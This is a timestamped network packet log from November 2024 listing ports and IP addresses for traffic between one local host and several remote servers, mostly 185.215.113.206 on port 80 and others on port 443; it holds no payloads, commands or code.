Nov 16, 2024 23:36:38.745910883 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.745919943 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.745953083 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.745965004 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.745986938 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.745997906 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.746021986 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.746162891 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.751334906 CET	443	49904	20.75.60.91	192.168.2.5
Nov 16, 2024 23:36:38.757209063 CET	49904	443	192.168.2.5	20.75.60.91
Nov 16, 2024 23:36:38.757220984 CET	443	49904	20.75.60.91	192.168.2.5
Nov 16, 2024 23:36:38.769125938 CET	443	49907	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.787584066 CET	49907	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.787592888 CET	443	49907	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.788259029 CET	49907	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.788263083 CET	443	49907	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.791848898 CET	443	49905	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.791980028 CET	443	49905	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.792191029 CET	49905	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.792248964 CET	49905	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.792248964 CET	49905	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.792260885 CET	443	49905	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.792268991 CET	443	49905	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.794850111 CET	49911	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.794924021 CET	443	49911	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.796123981 CET	49911	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.796416998 CET	49911	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.796428919 CET	443	49911	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.798023939 CET	49904	443	192.168.2.5	20.75.60.91
Nov 16, 2024 23:36:38.798243046 CET	443	49906	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.798404932 CET	443	49906	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.798470020 CET	49906	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.798856974 CET	49906	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.798875093 CET	443	49906	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.798907995 CET	49906	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.798913956 CET	443	49906	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.801177025 CET	49912	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.801188946 CET	443	49912	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.801533937 CET	49912	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.801742077 CET	49912	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.801758051 CET	443	49912	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.901556015 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.901623011 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.901638031 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.901654959 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.901705980 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.901706934 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.901761055 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.901788950 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.901840925 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.901842117 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.901878119 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.901923895 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.901947975 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.901957035 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.901974916 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.902029991 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.902045012 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.902075052 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.902107954 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.902118921 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.902159929 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.902195930 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.902230978 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.902242899 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.902268887 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.902283907 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.902333975 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.902363062 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.902378082 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.902396917 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.902442932 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.902451038 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.902508020 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.902542114 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.902575016 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.902590990 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.902610064 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.902642012 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.902654886 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.902676105 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.902709961 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.902720928 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.902745008 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.902777910 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.902792931 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.902812958 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.902844906 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.902853966 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.902882099 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.902909994 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:38.902965069 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:38.907919884 CET	443	49904	20.75.60.91	192.168.2.5
Nov 16, 2024 23:36:38.909845114 CET	49913	443	192.168.2.5	184.25.237.129
Nov 16, 2024 23:36:38.909872055 CET	443	49913	184.25.237.129	192.168.2.5
Nov 16, 2024 23:36:38.909930944 CET	49913	443	192.168.2.5	184.25.237.129
Nov 16, 2024 23:36:38.910115957 CET	49913	443	192.168.2.5	184.25.237.129
Nov 16, 2024 23:36:38.910134077 CET	443	49913	184.25.237.129	192.168.2.5
Nov 16, 2024 23:36:38.910444975 CET	49914	443	192.168.2.5	184.25.237.129
Nov 16, 2024 23:36:38.910487890 CET	443	49914	184.25.237.129	192.168.2.5
Nov 16, 2024 23:36:38.910813093 CET	49914	443	192.168.2.5	184.25.237.129
Nov 16, 2024 23:36:38.911101103 CET	49914	443	192.168.2.5	184.25.237.129
Nov 16, 2024 23:36:38.911137104 CET	443	49914	184.25.237.129	192.168.2.5
Nov 16, 2024 23:36:38.915539026 CET	49915	443	192.168.2.5	204.79.197.219
Nov 16, 2024 23:36:38.915549994 CET	443	49915	204.79.197.219	192.168.2.5
Nov 16, 2024 23:36:38.915807962 CET	49916	443	192.168.2.5	204.79.197.219
Nov 16, 2024 23:36:38.915837049 CET	49915	443	192.168.2.5	204.79.197.219
Nov 16, 2024 23:36:38.915839911 CET	443	49916	204.79.197.219	192.168.2.5
Nov 16, 2024 23:36:38.916016102 CET	49915	443	192.168.2.5	204.79.197.219
Nov 16, 2024 23:36:38.916026115 CET	443	49915	204.79.197.219	192.168.2.5
Nov 16, 2024 23:36:38.916083097 CET	49916	443	192.168.2.5	204.79.197.219
Nov 16, 2024 23:36:38.916191101 CET	49916	443	192.168.2.5	204.79.197.219
Nov 16, 2024 23:36:38.916212082 CET	443	49916	204.79.197.219	192.168.2.5
Nov 16, 2024 23:36:38.926764011 CET	443	49907	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.926953077 CET	443	49907	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.927236080 CET	49907	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.927314997 CET	49907	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.927315950 CET	49907	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.927326918 CET	443	49907	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.927336931 CET	443	49907	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.929673910 CET	49917	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.929682970 CET	443	49917	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.929769993 CET	49917	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.929892063 CET	49917	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:38.929900885 CET	443	49917	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:38.948834896 CET	443	49904	20.75.60.91	192.168.2.5
Nov 16, 2024 23:36:38.948896885 CET	49904	443	192.168.2.5	20.75.60.91
Nov 16, 2024 23:36:38.949412107 CET	49904	443	192.168.2.5	20.75.60.91
Nov 16, 2024 23:36:38.949423075 CET	443	49904	20.75.60.91	192.168.2.5
Nov 16, 2024 23:36:38.953543901 CET	49918	443	192.168.2.5	20.75.60.91
Nov 16, 2024 23:36:38.953629017 CET	443	49918	20.75.60.91	192.168.2.5
Nov 16, 2024 23:36:38.953717947 CET	49918	443	192.168.2.5	20.75.60.91
Nov 16, 2024 23:36:38.953902006 CET	49918	443	192.168.2.5	20.75.60.91
Nov 16, 2024 23:36:38.953934908 CET	443	49918	20.75.60.91	192.168.2.5
Nov 16, 2024 23:36:39.047800064 CET	49919	443	192.168.2.5	23.198.7.169
Nov 16, 2024 23:36:39.047828913 CET	443	49919	23.198.7.169	192.168.2.5
Nov 16, 2024 23:36:39.048096895 CET	49919	443	192.168.2.5	23.198.7.169
Nov 16, 2024 23:36:39.048369884 CET	49919	443	192.168.2.5	23.198.7.169
Nov 16, 2024 23:36:39.048377991 CET	443	49919	23.198.7.169	192.168.2.5
Nov 16, 2024 23:36:39.058276892 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.058306932 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.058341026 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.058393955 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.058424950 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.058446884 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.058481932 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.058537006 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.058567047 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.058576107 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.058592081 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.058613062 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.058618069 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.058669090 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.058723927 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.058772087 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.058774948 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.058808088 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.058855057 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.058859110 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.058892012 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.058947086 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.058975935 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.058984041 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.058985949 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.059026003 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059048891 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059063911 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059071064 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.059087992 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059093952 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.059102058 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059118986 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059123039 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.059127092 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059132099 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.059137106 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059143066 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.059151888 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059160948 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059169054 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059174061 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059182882 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.059192896 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.059205055 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.059205055 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059216022 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059226036 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059237003 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059251070 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.059264898 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.059274912 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059283972 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059295893 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059304953 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059326887 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.059326887 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059338093 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.059344053 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059386969 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059391975 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.059396982 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059417963 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059427023 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059434891 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.059438944 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059462070 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.059477091 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.059504986 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059544086 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.059555054 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059565067 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059606075 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.059638023 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059672117 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059710026 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059726954 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.059760094 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059794903 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.059798002 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059813023 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.059849024 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059884071 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059895039 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.059919119 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059957027 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.059993029 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.060013056 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.060061932 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.060095072 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.060107946 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.060149908 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.060183048 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.060192108 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.060219049 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.060250044 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.060250998 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.060275078 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.060286045 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.060322046 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.060328960 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.060355902 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.060408115 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.060441017 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.060463905 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.060503960 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.060529947 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.060564041 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.060597897 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.060609102 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.060633898 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.060667038 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.060669899 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.060703039 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.060735941 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.060744047 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.060774088 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.060806036 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.060813904 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.060843945 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.060872078 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.060887098 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.061397076 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.115464926 CET	443	49892	20.42.73.31	192.168.2.5
Nov 16, 2024 23:36:39.115701914 CET	49892	443	192.168.2.5	20.42.73.31
Nov 16, 2024 23:36:39.115734100 CET	443	49892	20.42.73.31	192.168.2.5
Nov 16, 2024 23:36:39.116913080 CET	443	49892	20.42.73.31	192.168.2.5
Nov 16, 2024 23:36:39.116998911 CET	49892	443	192.168.2.5	20.42.73.31
Nov 16, 2024 23:36:39.117827892 CET	49892	443	192.168.2.5	20.42.73.31
Nov 16, 2024 23:36:39.117902040 CET	443	49892	20.42.73.31	192.168.2.5
Nov 16, 2024 23:36:39.118179083 CET	49892	443	192.168.2.5	20.42.73.31
Nov 16, 2024 23:36:39.118194103 CET	443	49892	20.42.73.31	192.168.2.5
Nov 16, 2024 23:36:39.118321896 CET	49892	443	192.168.2.5	20.42.73.31
Nov 16, 2024 23:36:39.118352890 CET	443	49892	20.42.73.31	192.168.2.5
Nov 16, 2024 23:36:39.144171000 CET	443	49909	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.147078037 CET	49909	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:39.147078037 CET	49909	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:39.147097111 CET	443	49909	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.147115946 CET	443	49909	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:39.172111988 CET	49892	443	192.168.2.5	20.42.73.31
Nov 16, 2024 23:36:39.221535921 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.221570969 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.221606970 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.221621037 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.221621037 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.221658945 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.221693993 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.221694946 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.221728086 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.221729994 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.221748114 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.221782923 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.221812963 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.221817970 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.221852064 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.221863031 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.221904039 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.221961021 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.221965075 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.221993923 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.222022057 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.222029924 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.222038984 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.222063065 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.222090960 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.222095966 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.222135067 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.222148895 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.222153902 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.222187042 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.222213030 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.222239971 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.222274065 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.222285032 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.222309113 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.222342968 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.222376108 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.222388029 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.222409010 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.222451925 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.222461939 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.222496986 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.222529888 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.222532988 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.222553968 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.222582102 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.222588062 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.222615004 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.222649097 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.222681999 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.222697020 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.222717047 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.222742081 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.222762108 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.222769022 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.222820044 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.222821951 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.222853899 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.222887039 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:39.222896099 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:39.222919941 CET	80	49824	185.215.113.206	192.168.2.5
